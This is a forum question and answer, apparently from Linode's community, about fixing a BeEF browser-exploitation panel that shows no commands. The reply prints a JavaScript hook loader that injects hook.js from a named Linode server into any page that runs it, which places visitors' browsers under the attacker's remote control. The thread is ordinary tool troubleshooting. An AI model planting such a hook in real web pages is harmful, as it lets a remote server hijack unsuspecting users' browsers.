Command prompts not showing on BeeF

I installed my beef from the marketplace and logged in to the beef control panel but whenever I hook a browser and click on the command section I don't see any commands at all, I've tried powering off and rebooting the linode but it's still not showing anything

1 Reply

It looks like there's an issue with the JavaScript code embedded in the "Hook Me!" hyperlink within the "Getting Started" section. The problem lies in the host address specified within the JavaScript snippet. The original JavaScript code appears as follows:

(function() {
    var url = 'https://0.0.0.0:3000/hook.js';
    if (typeof beef == 'undefined') {
        var bf = document.createElement('script');
        bf.type = 'text/javascript';
        bf.src = url;
        bf.onerror = function() {
            console.error('Failed to load script:', url);
            // Add error handling logic here
        };
        document.body.appendChild(bf);
    }
})();

I found that modifying the host URL to that of your Linode fixes this issue:

(function() {
    var url = 'https://69-164-213-149.ip.linodeusercontent.com:3000/hook.js';
    if (typeof beef == 'undefined') {
        var bf = document.createElement('script');
        bf.type = 'text/javascript';
        bf.src = url;
        bf.onerror = function() {
            console.error('Failed to load script:', url);
            // Add error handling logic here
        };
        document.body.appendChild(bf);
    }
})();

I discovered this error by viewing the following error in the Inspect > Console view in Chrome of a web page I attempted to hook:

VM744:1     GET https://0.0.0.0:3000/hook.js net::ERR_CONNECTION_REFUSED

Again, the only modification made to the code is the update to the var url variable, which now contains the correct host address.

Reply

Please enter an answer
Tips:

You can mention users to notify them: @username

You can use Markdown to format your question. For more examples see the Markdown Cheatsheet.

> I’m a blockquote.

I’m a blockquote.

[I'm a link] (https://www.google.com)

I'm a link

**I am bold** I am bold

*I am italicized* I am italicized

Community Code of Conduct